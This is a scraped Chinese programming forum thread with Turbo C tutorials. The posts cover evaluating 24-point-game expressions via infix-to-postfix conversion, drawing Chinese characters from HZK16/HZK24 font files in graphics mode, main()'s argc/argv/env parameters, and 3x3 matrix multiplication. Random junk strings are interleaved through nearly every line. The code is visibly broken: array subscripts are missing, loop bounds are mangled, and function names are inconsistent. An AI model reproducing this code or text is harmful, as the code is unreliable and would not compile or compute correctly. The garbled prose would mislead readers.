$ ^3 w( k' y- j+ c% ?0 b}# A& a" [% ~4 W3 ~4 w( d/ w
/* 此函数实现中缀到后缀的转换 */% K4 |2 F4 U0 K1 g0 q, w
/* M的值宏定义为20 */) w2 _5 V5 _/ C% R' y% W1 Z" v# {+ T
/* sp[]为表达式数组 */
. [  Y7 m3 z3 ~; P* @) X* R: fint mid_last(); P3 H* `3 z- k8 r6 u. Q
{ int i=0,j=0; char c,sm[M];4 n  _3 g4 f: I/ ?
c=s[0]; sm[0]='='; top=0;
5 [- k) S) L! N5 vwhile(c!='\0')2 Q# o0 t; i8 \( u4 l
{ if(islower(c)) sp[j++]=c;  Z6 o3 ^, h3 E, ^- {# J5 g/ G8 V
else switch(c): I: y) m( a/ [5 Q" o' d4 {
{ case '+':
) O# P% Y: v$ Y' s/ r: n9 y1 u3 ycase '-':
; G+ g8 _7 \, r, T  H% scase '*':
4 I" A4 C' v5 M: D- H4 Dcase '/': while(first(c)&lt;=first(sm[top]))) a+ Z8 X7 {" @6 G& B$ n
sp[j++]=sm[top--];
; q& Q2 `/ T  U* w( s( Csm[++top]=c; break;
# a/ _  n3 ?- S. F: mcase '(': sm[++top]=c; break;. U  V0 n# }7 E6 `' y
case ')': while(sm[top]!='(')
0 }. J6 s9 w  d9 csp[j++]=sm[top--];4 [# |) H3 e% @1 B  J: \
top--; break;5 `( R9 V; ]3 E( P* X' d" E0 V( X
default :return(1);
3 m( \7 H* i2 J}
# z1 i& p; }1 x  M2 Ic=s[++i];- \6 Q4 `6 E: b& r' C  Z- j* K! R" t
}
0 G3 D" {% D  N' X! j! ?5 Zwhile(top&gt;0) sp[j++]=sm[top--];* C# F) ]% h* B& S) I
sp[j]='\0'; return(0);  r" \( {8 n7 ~+ N7 l1 z3 y) q
}
# J" T" F; i- \& G. {: U6 n/* 由后缀表达式来计算表达式的值 */4 s  k% d2 c$ `- a+ A: q# l
int calc()* k& L, c! U" X1 e9 F. g
{ int i=0,sm[M],tr; char c;
8 ^' s- c# ?4 K8 U' X* n- h, qc=sp[0]; top=-1;
1 R1 S% b  _) ?* Swhile(c!='\0')
% V8 V  z1 Y, c0 \; s4 z0 \{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,
7 K/ C: _, P: f( ^8 ^这样才可以更方便的处理非一位数,
1 y4 D' z/ i1 t+ O2 ~. I# g  Aver数组中存放着这些字母所代替的数*/
; H! [1 N" g8 n# t7 a+ kelse switch(c)
- I  V! M$ z5 L* l  g. q% @{ case '+': tr=sm[top--]; sm[top]+=tr; break;
4 w/ I. ^# Z% P5 G1 Z9 ]+ Ncase '-': tr=sm[top--]; sm[top]-=tr; break;
) v. r. @+ D* Q% Y; I( Ycase '*': tr=sm[top--]; sm[top]*=tr; break;
+ K/ }" U* r  `case '/': tr=sm[top--];sm[top]/=tr;break;
3 I" Q" J# v; ^9 w9 \7 ]/ Ddefault : return(1);
9 @9 P! u( W% Y' d7 @9 O}6 q; k; h6 i0 v4 R* Z
c=sp[++i];
4 j, {! }% }, A) }2 H9 S}8 [( |  _. L3 q3 G/ @
if(top&gt;0) return(1);
# g7 n' f% @8 G+ H; c# n' melse { result=sm[top]; return(0); }
( m. Z. Q; d1 D2 Q}1 B$ ?0 g6 p1 h: o6 F6 ~2 z
</FONT>
# C! C9 I% j  d& d4 t: ~  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
4 V! F6 w- j9 y$ e  S. \6 e- a2 x: U
  最后我总结了一下这其中容易出错的地方——; g4 z$ h2 E2 ~# i
; f) c" k8 C1 {7 @- |
  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。
5 g# \: a$ H+ m5 J* d% t" l* s7 p. O( V( u) l0 a) P
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
/ v! N5 K2 @* n4 w/ t$ ?( c! W6 B+ k+ Q# j/ i/ k2 `) _/ b' f
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。
6 H- F# U* q1 n- H7 Z
; F  z; A7 E* ]3 M/ _2 z: C  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
- `/ ]! q7 r' K  D# q3 L. b# X( L$ H! Z4 Y' [! R5 \9 ^
  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。9 }4 S8 d1 w4 f8 ?+ s
/ b+ f" u/ |- O7 w8 ?' S
  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。. z5 b( F/ a* P2 w5 y# |+ T# p

- O$ J+ i1 S) W2 M( Z  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。9 o, o$ o# }' V1 d& Z9 Z: V
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>7 {  H1 H/ x7 Y: Y# n8 Q, {
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
- B0 R9 t5 I5 _' d5 M, k' K  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。
0 b7 c, O  N: i+ M: N/ O  汉字显示的第一步是打开字库文件。
- q' |' |' b1 j  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。7 d$ h: c. X. ^5 c, I
  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p): ?  I1 `3 S- t, m" J9 c4 O
{1 ^( Y7 [- f$ `" H
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/: ^( ^7 k7 Y7 O0 T
int rec,i1,i2,i3; /*z:space between;*/
$ }5 N' V: u0 }long l; /*color:txt color*/; v& y! U5 B2 {9 q
char by[32]; /*p:HZ str*/8 [9 h3 E* {0 x4 V
if( handle&lt;0 ) return -1; while((i=*p++)!=0){# ?6 h2 l7 m( o. `, A2 H/ h1 m& H* O
if(i&gt;0xa1)
3 E% c/ h8 N9 I( f: A6 _if(f==0){
3 l5 a8 X* j- v4 v+ f8 g0 Bc1=(i-0xa1)&amp;0x07f;* o+ Q9 Q! O( z* h
f=1;
& N3 P. e3 |" k% _}, X1 E" `+ m8 V5 {' y: @" _
else{& W. N+ x8 m! ?2 S9 W
c2=(i-0xa1)&amp;0x07f;
# _, [" d4 W/ }f=0;( _3 ]3 q+ N- e' Z' `
rec=c1*94+c2;
6 X6 U0 {* n$ U  A1 C& xl=rec*32L;
1 s9 U% N( m7 ~) g! llseek(handle,l,SEEK_SET);4 X! o2 o5 @2 ]+ @1 \
read(handle,by,32);! f" U& Q% e0 R3 [* g
for(i1=0;i1&lt;16;i1++)
, I; ^7 @' m0 z! ~for(i2=0;i2&lt;2;i2++)
/ `, L$ n/ M. P2 {for(i3=0;i3&lt;8;i3++)
! D- Y" ^) i8 H8 P& qif(GetBit(by[i1*2+i2],7-i3))$ |. B4 a8 E, }( j+ B7 d& T
putpixel(x+i2*8+i3,y+i1,color);/ ^+ y- @. u& e" s% D
x=x+z+16;
0 s( \  {6 {% }* G}
. G2 `* T$ O  q8 y$ G1 K}
9 T  [0 C3 |) b. k7 Xreturn(x);
+ d) H' y- L% n+ `2 v}+ e/ P6 z0 N- q) K
函数GetBit定义如下:4 o! @' e/ D" z9 @2 B
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。1 P2 o+ r2 U% j8 }) Z* e
int GetBit(unsigned char c,int n)9 q" F0 u  T: G  _* q5 e6 l' L
{
8 M* Y+ L9 f! Breturn((c&gt;&gt;n)&amp;1);
; N' {! f- F# i) v- x}3 V3 S9 E5 l: d2 P4 @
汉字显示结束,应该关闭字库文件。
; Z" |- k# f' i  o1 Wvoid CloseHz(void)$ ?5 e" `2 Z; g# r
{
9 S/ I. E5 H  l6 `: l, r: E9 n, Gclose( handle );9 o! u& a6 F" ^( z; b5 @' z; j
}" x* _5 a7 @" n& H/ i; O
#include "\Caic\Include\Hz.h"; H- w' v$ M. o' O" Z! V
#include <GRAPHICS.H>
: R$ @8 N3 N& Z) T( }( Z3 }#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";5 l. E! Y( D1 k+ x& d6 w8 K
const char* HzStr = "苦丁香C语言辅助学习软件";5 ^& G& c# m4 q) j1 z
void main(){
% Q/ L* g5 l1 T1 l& r. H8 m3 _int gr=DETECT,gm;8 S9 u& ^; X' n0 O6 f
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");3 s% V8 w& r$ d9 ?9 n
OpenHz( Hz16Path );
  Z; @' x; [( P) e% BWrt16Hz(20,20,4,RED,HzStr);' n0 j1 q7 p( E, f! H7 v
CloseHz();: [1 o  a0 f) k. ]; N
getch();
5 _3 j. ?9 z* n) S# ?closegraph();7 a+ l, ~; [; M: q. {7 w8 t
}显示24点阵及放大汉字  R0 q) P4 ]/ @
  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。% }2 s5 H8 Y( C: M- v5 n) k  K  F
函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。
  M" F5 J2 Q$ d8 k9 D2 F) pint WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
7 u" b8 r4 D% g# T{
/ L# e" e# P! `unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/6 W$ L! e, m- g
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/8 `+ }: I( _; b
long l; /*color:汉字颜色*/
) v4 M; S& F! L( m; Pchar by[72]; /*m: x 方向的放大倍数*/0 S2 g+ T7 }8 r. ?  B* d4 A
/*n: y 方向的放大倍数*/6 I) _6 m3 r: w8 [$ N& v# k
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
, o# O$ t8 i- ~& F2 P, m; J  O" Pif(i&gt;0xa1)$ V: k. d. v; U8 Z7 m& E1 w3 h
if(f==0){, r; c9 W% {" [9 R0 k1 o
c1=(i-0xa1)&amp;0x7f;5 v% T# V) D+ n% A+ k
f=1;
- E$ S/ R+ D- D  m. N8 g  E}! e9 [4 B" F) H: T
else{) r  b+ e2 T, ]$ ?/ n* z
c2=(i-0xa1)&amp;0x7f;+ ^6 |2 d5 W; J: f6 n& S
f=0;, d* q( e+ b3 N* Q1 ^2 @/ q- w
rec=(c1-15)*94+c2;
8 O. ]0 f! `' v7 \9 P8 h; K2 \l=rec*72L;7 h1 W0 b5 J8 ?/ p% S' F
lseek(handle,l,SEEK_SET);& ^+ B% X% K( G( a& \+ U0 H
read(handle,by,72);0 }  H6 m( _$ p( G: k- B0 r
for(i1=0;i1&lt;24*m;i1=i1+m)
' M1 G2 ]( O8 m" z1 o/ p* T' [for(i4=0;i4<M;I4++)7 S1 ]5 q( L" e3 o
for(i2=0;i2&lt;=2;i2++)! a" b, l( c4 K, J$ _' D
for(i3=0;i3&lt;8;i3++)' \4 D- h/ T1 U4 m; u7 {
if(GetBit(by[i1/m*3+i2],7-i3))
% D# J0 ]0 t; p2 B- n+ @$ ]2 \* r, Efor(i5=0;i5<N;I5++)
! `& I+ v$ m+ X7 U5 Y+ M, R putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);7 F- p' R- c$ N- @/ u
x=x+24*m+z;
; r6 N# s: b6 ?}% N9 J) H8 ?& ]; E  I
}
- i; B/ F7 y8 [/ H3 n; mreturn(x);; Q( x: R! L: @
} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"
4 \4 C2 L% `, ?8 u5 G% u" Z* q5 k#include <GRAPHICS.H>/ W2 o8 N. O) A4 _& y6 N
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."3 D6 ^4 l% f1 Q9 L% m; U& [) }# U0 h
const char* HzStr = "苦丁香C语言辅助学习软件";
; c, l% e3 w! V2 I. _* m; n  e; dvoid main(){, h, U- n8 F- m3 s4 p
int gr=DETECT,gm;9 Z' J* [" V+ ~! }3 B
initgraph(&amp;gr,gm,"\\Caic\\Bgi");
" @1 M9 i$ ]/ L8 gOpenHz( Hz24Path );: \8 Q* K7 W  @4 T; `' `" ~9 G5 n
Wrt24Hz(20,20, /*先是在(x,y)*/' J& }4 J6 `* i5 x1 j
4, /*汉字间的空格为4*/
3 p0 a" L9 r0 JRED, /*用红色显示*/* I( M0 z; D5 q8 T9 ?* z: ]
2, /*x 方向放大2倍*/
" |2 m8 v( W. U: R  V7 V4, /*y 方向放大4倍*/
( |. W# E1 l8 G* s2 S9 e1 yHzStr); /*显示字符串*/
( ]1 U! l, r% {) R  j$ tCloseHz();
; J  x' R$ x2 w) `4 ggetch();" R3 E2 z! y' D4 f
closegraph();! c+ ?$ w% ]5 \& Q7 x- V+ `! y; ?9 Z
}
5 _$ C+ ^5 k& c* n0 }</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数
8 G- L5 n- a- }" u  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。) s8 V. M8 ~) }. z9 X& ^
1. main() 参数
# F1 t5 L) _4 B% B2 J' t( k  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。) O. V+ \3 q, ]5 C/ J6 k2 m+ I
  * argc: 整数,为传给main()的命令行参数个数。
) U- y  H* c& [. o/ Y6 z  * argv: 字符串数组。
* b+ C6 c5 o, D$ `6 @' k  V* H在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
9 C$ r9 V2 \% s1 q: u) ^对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;+ u; w' k6 r0 F3 [
...
/ b$ k; n1 N+ B/ ^argv[argc]为NULL。
1 D; _1 e- `( d/ L# v  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应6 U) y0 U! l9 D+ `2 y8 ]" W
值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/9 g/ f8 \* \' D3 @) v
#include&lt;stdio.h&gt;% D" J0 V$ Y4 O1 o
#include&lt;conio.h&gt;
! N, o" S9 n, n5 N' I8 P( L#define X 3: u6 h+ V9 H% _2 Q/ B4 J
#define Y 3</P><>int a[X][Y];
( C% W4 c) H2 v4 h, n( n5 @int b[X][Y];- F: X1 R9 X8 S; R
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
/ a/ q8 d- U: S& Omain()
" c3 @- U# }: M{5 y- m" m* g1 [4 |7 q- ]' e
int i,j,temp;
1 l% K* S, k5 ^4 jclrscr();
8 K# ~* r9 j: E3 \1 ?9 Z0 \printf("lease input int matrix b[%d][%d]\n",X,Y);
; T9 E( n& C$ b" q  h+ o* Z, Z+ t! Ofor(i=0;i&lt;Y;i++)* O, d% L- D. F5 q
for(j=0;j&lt;Y;j++){9 V+ n9 s) a& E. ^4 g& ?/ l
scanf("%d",&amp;temp);( a: t0 D: G3 ^8 t4 X" x
b[j]=temp;
* Y' p* e9 T8 x1 M% S, Y$ N}
) ^/ _3 _6 G8 W# O' bprintf("lease input int matrix c[%d][%d]\n",X,Y);3 V1 K2 `4 H9 B; b6 @
for(i=0;i&lt;X;i++); E6 T7 q7 N8 [) T
for(j=0;j&lt;Y;j++){
. ?* G9 B$ u0 o! `% Fscanf("%d",&amp;temp);% S+ r$ |' I: Q: H1 W' ]! d, N8 ]
c[j]=temp;
7 B/ @/ r6 C6 ?6 m3 Y8 R$ D# l: T" x}
' O4 g' w1 O4 Rmatrix(b,c);
% Z" m: t4 Y0 o; J: aprintf("Now print resource matrix b[%d][%d]=",X,Y);; ?4 f4 f  U2 l( J( @- i, m
for(i=0;i&lt;X;i++){
1 g4 f9 H! B6 Yprintf("\n");
- C) t5 W7 U% B- jfor(j=0;j&lt;Y;j++): G3 s5 f, q9 s
printf("%d ",b[j]);
- O/ S1 o/ A! _$ R' ]}! k" c9 N8 p! E7 |
printf("\n");
: ~- x0 d# u# P+ n6 U7 Sprintf("Now print resource matrix c[%d][%d]=",X,Y);
1 W2 x) k" a" O. Z' ?  ofor(i=0;i&lt;X;i++){# n! w  M% L3 [$ y5 T# `6 Z
printf("\n");* p5 h: D. X+ K  }" G2 U7 v4 x
for(j=0;j&lt;Y;j++)
$ C$ ^! M' ]2 V  l( \& |printf("%d ",c[j]);
7 W! o5 L4 P+ D: ]% e}2 t7 z9 I; y1 p: y: ?* w
printf("\n");
  }; I/ g5 u* c  X( U' t0 O$ {: Sprintf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);2 m. L8 t0 Q8 {' z  r6 q
for(i=0;i&lt;X;i++){
5 a1 n7 ]# r* n& r( R3 kprintf("\n");$ J1 K: ]( q9 Q! g2 I* O
for(j=0;j&lt;Y;j++)+ x8 G7 n" Z- i8 b0 t( g
printf("%d ",a[j]);+ |9 p! y" n5 A. z5 Z7 t4 U" A, x* O. a
}
& X0 L5 k( @  H7 b9 `getch();% |5 b# h+ l% W( u6 |
return 0;% M6 P6 |5 H& ?3 A, {3 w
}
2 Q7 q; ]& ~0 ]6 f/********************************************************************/
7 z; R% |; d- Zvoid matrix(int b[][X],int c[][Y])
9 T6 E: ^$ n* h$ }{6 G' ~+ O; p" `) `) t0 Y$ J+ F
int i,j,k,temp;& r9 j' j  q8 A, c+ N) _! `2 }$ T
for(i=0;i&lt;X;i++)% {. \3 F# O* }4 ~# W. x
for(j=0;j&lt;Y;j++){
& |$ p4 k: I9 \1 _+ B; |* z- F1 z9 xfor(k=0;k&lt;Y;k++)
( G# U5 f3 k4 ~a[j]+=b[k]*c[k][j];0 p6 U+ j9 f6 `6 L! c/ _) }) Y
}
; [9 b  ^8 U0 s+ @; z4 i}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-4-18 00:05 , Processed in 0.462979 second(s), 90 queries .

回顶部